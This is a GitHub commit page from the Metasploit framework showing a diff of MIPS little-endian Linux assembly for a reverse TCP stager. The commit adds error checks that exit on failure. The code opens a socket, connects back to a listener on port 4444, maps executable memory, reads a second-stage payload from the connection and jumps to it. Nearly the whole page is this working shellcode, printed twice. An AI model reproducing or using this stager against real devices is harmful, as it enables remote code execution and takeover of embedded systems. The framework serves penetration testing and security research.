Skip to content

Commit adeffd6

Browse files
tkmrutkmru
committed
add error handling to stager_sock_reverse src on mipsle
1 parent aceeedc commit adeffd6

File tree

1 file changed

+113
-95
lines changed

1 file changed

+113
-95
lines changed

‎external/source/shellcode/linux/mipsle/stager_sock_reverse.s

Lines changed: 113 additions & 95 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,11 @@
11
##
2-
#
2+
#
33
# Name: stager_sock_reverse
44
# Type: Stager
55
# Qualities: No Nulls out of the IP / Port data
66
# Platforms: Linux MIPS Little Endian
77
# Authors: juan vazquez <juan.vazquez [at] metasploit.com>
8-
# License:
8+
# License:
99
#
1010
# This file is part of the Metasploit Exploit Framework
1111
# and is subject to the same licenses and copyrights as
@@ -27,101 +27,119 @@
2727
# generate the string to place on:
2828
# modules/payloads/stagers/linux/mipsle/reverse_tcp.rb
2929
##
30-
.text
31-
.align 2
32-
.globl main
33-
.set nomips16
30+
.text
31+
.align 2
32+
.globl main
33+
.set nomips16
3434
main:
35-
.set noreorder
36-
.set nomacro
35+
.set noreorder
36+
.set nomacro
37+
38+
# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
39+
# a0: domain = PF_INET (2)
40+
# a1: type = SOCK_STREAM (2)
41+
# a2: protocol = IPPROTO_IP (0)
42+
# v0: syscall = __NR_socket (4183)
43+
li $t7, -6
44+
nor $t7, $t7, $zero
45+
addi $a0, $t7, -3
46+
addi $a1, $t7, -3
47+
slti $a2, $zero, -1
48+
li $v0, 4183
49+
syscall 0x40404
50+
slt $s0, $zero, $a3
51+
bne $s0, $zero, failed
52+
sw $v0, -4($sp) # store the file descriptor for the socket on the stack
53+
54+
# connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16)
55+
# a0: sockfd
56+
# a1: addr = AF_INET (2)
57+
# a2: addrlen = 16
58+
# v0: syscall = __NR_connect (4170)
59+
lw $a0, -4($sp)
60+
li $t7, -3
61+
nor $t7, $t7, $zero
62+
sw $t7, -30($sp)
63+
ori $t6, $zero, 0x5c11 # port
64+
sw $t6, -28($sp)
65+
lui $t6, 0x100 # ip
66+
ori $t6, $t6, 0x7f # ip
67+
sw $t6, -26($sp)
68+
addiu $a1, $sp, -30
69+
li $t4, -17
70+
nor $a2, $t4, $zero
71+
li $v0, 4170
72+
syscall 0x40404
73+
slt $s0, $zero, $a3
74+
bne $s0, $zero, failed
75+
76+
# mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
77+
# a0: addr = -1
78+
# a1: lenght = 4096
79+
# a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7)
80+
# a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050)
81+
# sp(16): fd = -1
82+
# sp(20): offset = 0
83+
# v0: syscall = __NR_mmap (4090)
84+
li $a0, -1
85+
li $a1, 4097
86+
addi $a1, $a1, -1
87+
li $t1, -8
88+
nor $t1, $t1, $0
89+
add $a2, $t1, $0
90+
li $a3, 2050
91+
li $t3, -22
92+
nor $t3, $t3, $zero
93+
add $t3, $sp, $t3
94+
sw $0, -1($t3) # Doesn't use $sp directly to avoid nulls
95+
sw $2, -5($t3) # Doesn't use $sp directly to avoid nulls
96+
li $v0, 4090
97+
syscall 0x40404
98+
slt $s0, $zero, $a3
99+
bne $s0, $zero, failed
100+
sw $v0, -8($sp) # Stores the mmap'ed address on the stack
101+
102+
# read(sockfd, addr, 4096)
103+
# a0: sockfd
104+
# a1: addr
105+
# a2: len = 4096
106+
# v0: syscall = __NR_read (4003)
107+
lw $a0, -4($sp)
108+
lw $a1, -8($sp)
109+
li $a2, 4097
110+
addi $a2, $a2, -1
111+
li $v0, 4003
112+
syscall 0x40404
113+
slt $s0, $zero, $a3
114+
bne $s0, $zero, failed
37115

38-
# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
39-
# a0: domain = PF_INET (2)
40-
# a1: type = SOCK_STREAM (2)
41-
# a2: protocol = IPPROTO_IP (0)
42-
# v0: syscall = __NR_socket (4183)
43-
li $t7, -6
44-
nor $t7, $t7, $zero
45-
addi $a0, $t7, -3
46-
addi $a1, $t7, -3
47-
slti $a2, $zero, -1
48-
li $v0, 4183
49-
syscall 0x40404
50-
sw $v0, -4($sp) # store the file descriptor for the socket on the stack
51-
52-
# connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16)
53-
# a0: sockfd
54-
# a1: addr = AF_INET (2)
55-
# a2: addrlen = 16
56-
# v0: syscall = __NR_connect (4170)
57-
lw $a0, -4($sp)
58-
li $t7, -3
59-
nor $t7, $t7, $zero
60-
sw $t7, -30($sp)
61-
ori $t6, $zero, 0x5c11 # port
62-
sw $t6, -28($sp)
63-
lui $t6, 0x100 # ip
64-
ori $t6, $t6, 0x7f # ip
65-
sw $t6, -26($sp)
66-
addiu $a1, $sp, -30
67-
li $t4, -17
68-
nor $a2, $t4, $zero
69-
li $v0, 4170
70-
syscall 0x40404
71-
72-
# mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
73-
# a0: addr = -1
74-
# a1: lenght = 4096
75-
# a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7)
76-
# a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050)
77-
# sp(16): fd = -1
78-
# sp(20): offset = 0
79-
# v0: syscall = __NR_mmap (4090)
80-
li $a0, -1
81-
li $a1, 4097
82-
addi $a1, $a1, -1
83-
li $t1, -8
84-
nor $t1, $t1, $0
85-
add $a2, $t1, $0
86-
li $a3, 2050
87-
li $t3, -22
88-
nor $t3, $t3, $zero
89-
add $t3, $sp, $t3
90-
sw $0, -1($t3) # Doesn't use $sp directly to avoid nulls
91-
sw $2, -5($t3) # Doesn't use $sp directly to avoid nulls
92-
li $v0, 4090
93-
syscall 0x40404
94-
sw $v0, -8($sp) # Stores the mmap'ed address on the stack
116+
# cacheflush(addr, nbytes, DCACHE)
117+
# a0: addr
118+
# a1: nbytes
119+
# a2: cache = DCACHE (2)
120+
# v0: syscall = __NR_read (4147)
121+
lw $a0, -8($sp)
122+
add $a1, $v0, $zero
123+
li $t1, -3
124+
nor $t1, $t1, $0
125+
add $a2, $t1, $0
126+
li $v0, 4147
127+
syscall 0x40404
128+
slt $s0, $zero, $a3
129+
bne $s0, $zero, failed
95130

96-
# read(sockfd, addr, 4096)
97-
# a0: sockfd
98-
# a1: addr
99-
# a2: len = 4096
100-
# v0: syscall = __NR_read (4003)
101-
lw $a0, -4($sp)
102-
lw $a1, -8($sp)
103-
li $a2, 4097
104-
addi $a2, $a2, -1
105-
li $v0, 4003
106-
syscall 0x40404
131+
# jmp to the stage
132+
lw $s1, -8($sp)
133+
lw $s2, -4($sp) # sockfd saved on $s2
134+
jalr $s1
107135

108-
# cacheflush(addr, nbytes, DCACHE)
109-
# a0: addr
110-
# a1: nbytes
111-
# a2: cache = DCACHE (2)
112-
# v0: syscall = __NR_read (4147)
113-
lw $a0, -8($sp)
114-
add $a1, $v0, $zero
115-
li $t1, -3
116-
nor $t1, $t1, $0
117-
add $a2, $t1, $0
118-
li $v0, 4147
119-
syscall 0x40404
120-
121-
# jmp to the stage
122-
lw $s1, -8($sp)
123-
lw $s2, -4($sp) # sockfd saved on $s2
124-
jalr $s1
136+
failed:
137+
# exit(status)
138+
# a0: status
139+
# v0: syscall = __NR_exit (4001)
140+
li $a0, 1
141+
li $v0, 4001
142+
syscall 0x40404
125143

126-
.set macro
127-
.set reorder
144+
.set macro
145+
.set reorder

0 commit comments

Comments
 (0)